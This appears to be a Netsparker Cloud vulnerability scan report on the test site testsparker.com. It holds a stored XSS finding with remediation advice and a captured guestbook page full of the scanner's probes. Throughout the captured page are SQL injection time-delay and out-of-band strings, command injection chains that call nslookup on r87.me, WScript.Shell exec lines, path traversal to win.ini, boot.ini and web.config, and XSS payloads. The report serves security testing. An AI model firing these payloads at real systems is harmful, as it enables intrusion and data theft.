+ 8/23/2017 8:06:17 AM +

+

+ 1 OR 1=1 +

+
+

">

+

+ 8/23/2017 8:06:17 AM +

+

+ +

+
+

'>

+

+ 8/23/2017 8:06:17 AM +

+

+ +

+
+

//r87.com/n/j/?0x003D6E

+

+ 8/23/2017 8:06:16 AM +

+

+ +

+
+ + + +
12
+
+ + +
+
+ + + +
+
+
+ + + + + +
+ + +]]>
+
+ + + + + Netsparker Cloud identified stored cross-site scripting, and confirmed this vulnerability by analyzing the execution of injected JavaScript.

Stored XSS allows an attacker to execute dynamic scripts (JavaScript, VBScript) in the context of the application. This allows several different attack opportunities, mostly hijacking the current session of the user or changing the look of the page by changing the HTML on the fly, to steal the user's credentials. This happens because the input entered by the user has been interpreted by HTML/JavaScript/VBScript within the browser.

"Stored" means that the attack will be stored in the backend system. In normal XSS attacks, an attacker needs to e-mail the victim, but in a stored XSS an attacker can just execute the attack and wait for users to see the affected page. As soon as someone visits the page, the attacker's stored payload will get executed.

XSS targets the users of the application instead of the server. Although this is a limitation, since it only allows attackers to hijack other users' sessions, the attacker might attack an administrator to gain full control over the application.

]]>
+ Stored XSS is a dangerous issue that has many exploitation vectors, some of which include:
  • User's session-sensitive information, such as cookies, can be stolen.
  • XSS can enable client-side worms, which could modify, delete or steal other users' data within the application.
  • The website can be redirected to a new location, defaced or used as a phishing site.
]]>
+ + +

The issue occurs because the browser interprets the input as active HTML, JavaScript or VBScript. To avoid this, all input and output from the application should be filtered. Output should be filtered according to the output format and location. Typically the output location is HTML. Where the output is HTML, ensure all active content is removed prior to its presentation to the server.

Prior to sanitizing user input, ensure you have a pre-defined list of both expected and acceptable characters with which you populate a whitelist. This list needs only be defined once and should be used to sanitize and validate all subsequent input.

There are a number of pre-defined, well structured whitelist libraries available for many different environments; good examples of these include the OWASP Reform and Microsoft Anti cross-site scripting libraries.

]]>
+ ]]> + ]]> + +
+ + http://testsparker.com/GuestbookList.aspx + PermanentXss + Stored Cross-site Scripting + Important + 100 + True + Present + + A3 + 8 + 79 + 19 + 6.5.7 + 6.5.7 + 164.308(a) + + + POST + + + + + + + 200 + 2473,0514 + + + + + Bitcoin Web Site + + + + +
+
+ + + +
+ + + + +
+ + + + +
+ +
+
+ + + + +

Last Comments

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+

Smith

+

+ 8/23/2017 8:09:48 AM +

+

+ 1;DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x-- +

+
+

Smith

+

+ 8/23/2017 8:09:48 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:47 AM +

+

+ & nslookup o010_rdnxuarzncrzekgmqpzealmzxt7kqx56njjitw.r87.me&'\"`0&nslookup o010_rdnxuarzncrzekgmqpzealmzxt7kqx56njjitw.r87.me&`' +

+
+

/../../../../../../../../../../proc/self/fd/2ďż˝.aspx

+

+ 8/23/2017 8:09:47 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:47 AM +

+

+ 1));DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x-- +

+
+

Smith

+

+ 8/23/2017 8:09:47 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:47 AM +

+

+ nslookup o010_rdnxuy72vcpidcre3plgbjyl0tcowozkc9qfzy.r87.me&'\"`0&nslookup o010_rdnxuy72vcpidcre3plgbjyl0tcowozkc9qfzy.r87.me&`' +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:46 AM +

+

+ "+gethostbyname(lc 'o010_rdnxuc1kpaqluummwkxtdftvikqzwjbmnhf'.'lj4.r87.me')+" +

+
+

print(int)0xFFF9999-22;

+

+ 8/23/2017 8:09:46 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:46 AM +

+

+ '+gethostbyname(lc 'o010_rdnxukwipnmwcjrkytxckegtjtyk2jayovs'.'cvw.r87.me')+' +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:45 AM +

+

+ eval('gethostbyname(lc 'o010_rdnxug9f9g-nzu2dlhbrkjok_u2i-yssk8n'.'jv4.r87.me')') +

+
+

print(int)0xFFF9999-22

+

+ 8/23/2017 8:09:45 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:45 AM +

+

+ gethostbyname(lc 'o010_rdnxuwddhhgbmd88or-l3djvhd4dvihy94x'.'6bo.r87.me') +

+
+

<% response.write(268409241-22) %>

+

+ 8/23/2017 8:09:45 AM +

+

+ +

+
+

"+response.write(268409241-22)+"

+

+ 8/23/2017 8:09:44 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:44 AM +

+

+ "+createobject("WScript.Shell").exec("nslookup o010_rdnxucr_42triopl-fvdxyaved2d3dtea7p" & "hf8.r87.me").StdOut.ReadAll+" +

+
+

Smith

+

+ 8/23/2017 8:09:44 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:44 AM +

+

+ expr 268409241 - 2 +

+
+

+response.write(268409241-22)'

+

+ 8/23/2017 8:09:44 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:44 AM +

+

+ <%createobject("WScript.Shell").exec("nslookup o010_rdnxuaakbzptetvtkyhcbhevkw_pofadg_p" & "asu.r87.me").StdOut.ReadAll%> +

+
+

Smith

+

+ 8/23/2017 8:09:43 AM +

+

+ 1)) WAITFOR DELAY '0:0:25'-- +

+
+

response.write(268409241-22)'

+

+ 8/23/2017 8:09:43 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:43 AM +

+

+ +createobject("WScript.Shell").exec("nslookup o010_rdnxumjo7pm0arhrb_jrdcjlrrfkdkeo1dq" & "olq.r87.me").StdOut.ReadAll+ +

+
+

/../../../../../../../../../../proc/self/fd/2

+

+ 8/23/2017 8:09:43 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:43 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:43 AM +

+

+ +createobject("WScript.Shell").exec("nslookup o010_rdnxu46jg4wgbmtobm1eci9qjg6tt4vtgft" & "k80.r87.me").StdOut.ReadAll +

+
+

/../../../../../../../../../../windows/iis6.log

+

+ 8/23/2017 8:09:42 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:42 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:42 AM +

+

+ ping -w 25 127.0.0.1 +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:42 AM +

+

+ createobject("WScript.Shell").exec("nslookup o010_rdnxuluwjl7qpa4o-rzvstjnss571afrgve" & "g44.r87.me").StdOut.ReadAll +

+
+

Smith

+

+ 8/23/2017 8:09:41 AM +

+

+ expr 268409241 - 2; +

+
+

Smith

+

+ 8/23/2017 8:09:41 AM +

+

+ ping -n 25 127.0.0.1 +

+
+

Smith

+

+ 8/23/2017 8:09:41 AM +

+

+ ')) WAITFOR DELAY '0:0:25'-- +

+
+

. . /. . /. . /. . /. . /. . /. . /. . /. . /. . /. . /windows/win.ini

+

+ 8/23/2017 8:09:40 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:40 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:40 AM +

+

+ ping -w 25 127.0.0.1 & +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:40 AM +

+

+ '{${gethostbyname(trim('o010_rdnxubxkmsnyneuncldd41-zkaquy4saeqr'.'mdy.r87.me'))}}' +

+
+

Smith

+

+ 8/23/2017 8:09:40 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:39 AM +

+

+ &ping -w 25 127.0.0.1 & +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:39 AM +

+

+ +

+
+

.....///.....///.....///.....///.....///.....///.....///.....///.....///.....///.....///windows/win.ini

+

+ 8/23/2017 8:09:39 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:39 AM +

+

+ "+gethostbyname(trim('o010_rdnxu76nwik58btklkeqwz1f2q6w5otgqqg'.'v7w.r87.me'))+" +

+
+

Smith

+

+ 8/23/2017 8:09:39 AM +

+

+ '&ping -w 25 127.0.0.1 &' +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:38 AM +

+

+ '+gethostbyname(trim('o010_rdnxupij3a5-w7z80zwhe_ygrzgwgqlmgly'.'5ik.r87.me'))+' +

+
+

Smith

+

+ 8/23/2017 8:09:38 AM +

+

+ ;expr 268409241 - 2;x +

+
+

Smith

+

+ 8/23/2017 8:09:38 AM +

+

+ ') WAITFOR DELAY '0:0:25'-- +

+
+

....//....//....//....//....//....//....//....//....//....//....//windows/win.ini

+

+ 8/23/2017 8:09:38 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:38 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:38 AM +

+

+ "&ping -w 25 127.0.0.1 &" +

+
+

Smith

+

+ 8/23/2017 8:09:38 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:37 AM +

+

+ +gethostbyname(trim('o010_rdnxurlfouvntkzt91dsoqoslqdfyg5umfw'.'kyi.r87.me'));// +

+
+

Smith

+

+ 8/23/2017 8:09:37 AM +

+

+ ping -n 25 127.0.0.1 & +

+
+

...//...//...//...//...//...//...//...//...//...//...//windows/win.ini

+

+ 8/23/2017 8:09:37 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:36 AM +

+

+ & ping -n 25 127.0.0.1 & +

+
+

Smith

+

+ 8/23/2017 8:09:36 AM +

+

+ ';expr 268409241 - 2;' +

+
+

c:\windows\win.ini

+

+ 8/23/2017 8:09:35 AM +

+

+ +

+
+

r87.com/n

+

+ 8/23/2017 8:09:35 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:35 AM +

+

+ '& ping -n 25 127.0.0.1 & +

+
+

Smith

+

+ 8/23/2017 8:09:35 AM +

+

+ 1) WAITFOR DELAY '0:0:25'-- +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:35 AM +

+

+ gethostbyname(trim('o010_rdnxupd9q5ji7xvvbcaicpnypm8chfpjuen'.'ecc.r87.me')); +

+
+

Smith

+

+ 8/23/2017 8:09:35 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:35 AM +

+

+ "& ping -n 25 127.0.0.1 & +

+
+

php://filter//resource=http://r87.com/n?ďż˝.aspx

+

+ 8/23/2017 8:09:34 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:34 AM +

+

+ gethostbyname(trim('o010_rdnxuq8bbsk37pdde8ccpiocscf2k5j-fid'.'tle.r87.me')) +

+
+

Smith

+

+ 8/23/2017 8:09:34 AM +

+

+ +

+
+

/../../../../../../../../../../windows/win.iniďż˝.aspx

+

+ 8/23/2017 8:09:33 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:33 AM +

+

+ +

+
+

http://r87.com/n?.aspx

+

+ 8/23/2017 8:09:33 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:33 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:33 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:33 AM +

+

+ ";expr 268409241 - 2;" +

+
+

Smith

+

+ 8/23/2017 8:09:32 AM +

+

+ WAITFOR DELAY '0:0:25'-- +

+
+

file:/windows/win.ini

+

+ 8/23/2017 8:09:32 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:32 AM +

+

+ +

+
+

/../../../../../../../../../../windows/win.ini

+

+ 8/23/2017 8:09:31 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:31 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:31 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:31 AM +

+

+ 1 WAITFOR DELAY '0:0:25'-- +

+
+

/../../../../../../../../../../web.config

+

+ 8/23/2017 8:09:31 AM +

+

+ +

+
+

http://r87.com/n?ďż˝.aspx

+

+ 8/23/2017 8:09:30 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:30 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:30 AM +

+

+ +

+
+

c%3a%5cboot.ini

+

+ 8/23/2017 8:09:29 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:29 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:29 AM +

+

+ +

+
+

hTTp://r87.com/n

+

+ 8/23/2017 8:09:29 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:29 AM +

+

+ SET /A 0xFFF9999-2 +

+
+

Smith

+

+ 8/23/2017 8:09:29 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:28 AM +

+

+ +

+
+

file%3a%2fboot.ini

+

+ 8/23/2017 8:09:28 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:28 AM +

+

+ ' WAITFOR DELAY '0:0:25'-- +

+
+

Smith

+

+ 8/23/2017 8:09:28 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:28 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:27 AM +

+

+ +

+
+

%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fboot.ini

+

+ 8/23/2017 8:09:27 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:26 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:26 AM +

+

+ SET /A 0xFFF9999-2 & +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:25 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:25 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:25 AM +

+

+ & SET /A 0xFFF9999-2 & +

+
+

Smith

+

+ 8/23/2017 8:09:25 AM +

+

+ +

+
+

ns../../../../../../../../../../../boot.ini.......................................................................................................................................................................................

+

+ 8/23/2017 8:09:24 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:24 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:23 AM +

+

+ '& SET /A 0xFFF9999-2 & +

+
+

c:\boot.ini

+

+ 8/23/2017 8:09:23 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:23 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:22 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:22 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:21 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:21 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:21 AM +

+

+ "& SET /A 0xFFF9999-2 & +

+
+

Smith

+

+ 8/23/2017 8:09:21 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:20 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:20 AM +

+

+ +

+
+

file:/boot.ini

+

+ 8/23/2017 8:09:19 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:19 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:18 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:18 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:18 AM +

+

+ +

+
+

1/../../../../../../../../../../boot.ini

+

+ 8/23/2017 8:09:18 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:18 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:17 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:17 AM +

+

+ +

+
+

/../../../../../../../../../../boot.iniďż˝.aspx

+

+ 8/23/2017 8:09:17 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:17 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:16 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:16 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:16 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:16 AM +

+

+ +

+
+

/../../../../../../../../../../boot.ini

+

+ 8/23/2017 8:09:15 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:15 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:15 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:14 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:13 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:13 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:13 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:13 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:12 AM +

+

+ +

+
+

//r87.com/?0x002AB8

+

+ 8/23/2017 8:09:12 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:12 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:11 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:11 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:11 AM +

+

+ +

+
+

//r87.com/?0x002AB7

+

+ 8/23/2017 8:09:10 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:10 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:10 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:09 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:08 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:08 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:07 AM +

+

+ +

+
+

[ns](javascript:netsparker(0x002A8F); "nsmd")

+

+ 8/23/2017 8:09:07 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:07 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:07 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:06 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:06 AM +

+

+ +

+
+

'"@-->

+

+ 8/23/2017 8:09:06 AM +

+

+ +

+
+

ping -w 25 127.0.0.1

+

+ 8/23/2017 8:09:06 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:05 AM +

+

+ +

+
+

ping -n 25 127.0.0.1

+

+ 8/23/2017 8:09:05 AM +

+

+ +

+
+

'+netsparker(0x002A8B)+'

+

+ 8/23/2017 8:09:05 AM +

+

+ +

+
+

ping -w 25 127.0.0.1 &

+

+ 8/23/2017 8:09:05 AM +

+

+ +

+
+

netsparker(0x002A89);

+

+ 8/23/2017 8:09:04 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:04 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:03 AM +

+

+ +

+
+

netsparker(0x002A87)

+

+ 8/23/2017 8:09:03 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:03 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:02 AM +

+

+ +

+
+

&ping -w 25 127.0.0.1 &

+

+ 8/23/2017 8:09:02 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:02 AM +

+

+ +

+
+

'&ping -w 25 127.0.0.1 &'

+

+ 8/23/2017 8:09:02 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:02 AM +

+

+ +

+
+

',netsparker(0x002A85),'

+

+ 8/23/2017 8:09:01 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:01 AM +

+

+ +

+
+

\';netsparker(0x002A83);///

+

+ 8/23/2017 8:09:01 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:00 AM +

+

+ +

+
+

"&ping -w 25 127.0.0.1 &"

+

+ 8/23/2017 8:09:00 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:00 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:09:00 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:09:00 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:59 AM +

+

+ +

+
+

ping -n 25 127.0.0.1 &

+

+ 8/23/2017 8:08:59 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:59 AM +

+

+ +

+
+

"+netsparker(0x002A81)+"

+

+ 8/23/2017 8:08:59 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:58 AM +

+

+ +

+
+

'+netsparker(0x002A7F)+'

+

+ 8/23/2017 8:08:58 AM +

+

+ +

+
+

& ping -n 25 127.0.0.1 &

+

+ 8/23/2017 8:08:58 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:58 AM +

+

+ +

+
+

'& ping -n 25 127.0.0.1 &

+

+ 8/23/2017 8:08:57 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:57 AM +

+

+ +

+
+

*/netsparker(0x002A7D);/*

+

+ 8/23/2017 8:08:56 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:56 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:56 AM +

+

+ +

+
+

body{x:expression(netsparker(0x002A7B))}

+

+ 8/23/2017 8:08:55 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:55 AM +

+

+ +

+
+

"& ping -n 25 127.0.0.1 &

+

+ 8/23/2017 8:08:55 AM +

+

+ +

+
+

|expr${IFS}268409241${IFS}-${IFS}2

+

+ 8/23/2017 8:08:55 AM +

+

+ +

+
+

+

+ 8/23/2017 8:08:54 AM +

+

+ +

+
+

expr 268409241 - 2

+

+ 8/23/2017 8:08:54 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:53 AM +

+

+ +

+
+

n;ns:expression(netsparker(0x002A79));

+

+ 8/23/2017 8:08:53 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:53 AM +

+

+ +

+
+

expr 268409241 - 2;

+

+ 8/23/2017 8:08:53 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:53 AM +

+

+ '+convert(int, cast(0x5f21403264696c656d6d61 as varchar(8000)))+' +

+
+

1;expr 268409241 - 2;x

+

+ 8/23/2017 8:08:53 AM +

+

+ +

+
+

<%a style=x:expre/**/ssion(netsparker(0x002A77))>

+

+ 8/23/2017 8:08:52 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:52 AM +

+

+ '||CTXSYS.DRITHSX.SN(user,(select chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97) from DUAL))||' +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:52 AM +

+

+ '||CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS(chr(111)||chr(48)||chr(49)||chr(48)||chr(95)||chr(114)||chr(100)||chr(110)||chr(120)||chr(117)||chr(48)||chr(115)||chr(111)||chr(113)||chr(113)||chr(108)||chr(118)||chr(105)||chr(116)||chr(120)||chr(95)||chr(50)||chr(113)||chr(95)||chr(97)||chr(109)||chr(110)||chr(104)||chr(118)||chr(106)||chr(53)||chr(97)||chr(102)||chr(98)||chr(97)||chr(115)||chr(118)||chr(112)||chr(56)||chr(109)||chr(116)||chr(119)||chr(103)||chr(46)||chr(114)||chr(56)||chr(55)||chr(46)||chr(109)||chr(101)) from DUAL))||' +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:51 AM +

+

+ +

+
+

1';expr 268409241 - 2;'

+

+ 8/23/2017 8:08:51 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:51 AM +

+

+ (length(CTXSYS.DRITHSX.SN(user,(select chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97) from DUAL)))) +

+
+

|nslookup${IFS}"o010_rdnxualozt818le1ziotmfwfoxumkuqkklf""ury.r87.me"

+

+ 8/23/2017 8:08:51 AM +

+

+ +

+
+

+

+ 8/23/2017 8:08:51 AM +

+

+ +

+
+

http://www.example.com

+

+ 8/23/2017 8:08:51 AM +

+

+ (length(CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS(chr(111)||chr(48)||chr(49)||chr(48)||chr(95)||chr(114)||chr(100)||chr(110)||chr(120)||chr(117)||chr(50)||chr(121)||chr(108)||chr(109)||chr(113)||chr(105)||chr(98)||chr(116)||chr(98)||chr(106)||chr(102)||chr(114)||chr(116)||chr(115)||chr(103)||chr(120)||chr(116)||chr(97)||chr(99)||chr(116)||chr(119)||chr(102)||chr(103)||chr(108)||chr(121)||chr(121)||chr(111)||chr(101)||chr(109)||chr(98)||chr(109)||chr(107)||chr(99)||chr(46)||chr(114)||chr(56)||chr(55)||chr(46)||chr(109)||chr(101)) from DUAL)))) +

+
+

|nslookup${IFS}"o010_rdnxupxt_xsmil_jux4oafb_du8w6vkiqyd""z1o.r87.me"

+

+ 8/23/2017 8:08:51 AM +

+

+ +

+
+

-1" or 1=((SELECT 1 FROM (SELECT SLEEP(25))A))+"

+

+ 8/23/2017 8:08:50 AM +

+

+ +

+
+

Smith

+

+ 8/23/2017 8:08:50 AM +

+

+ 1 procedure analyse(extractvalue(rand(),concat(0x3a,CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)))),1)-- 1 +

+
+

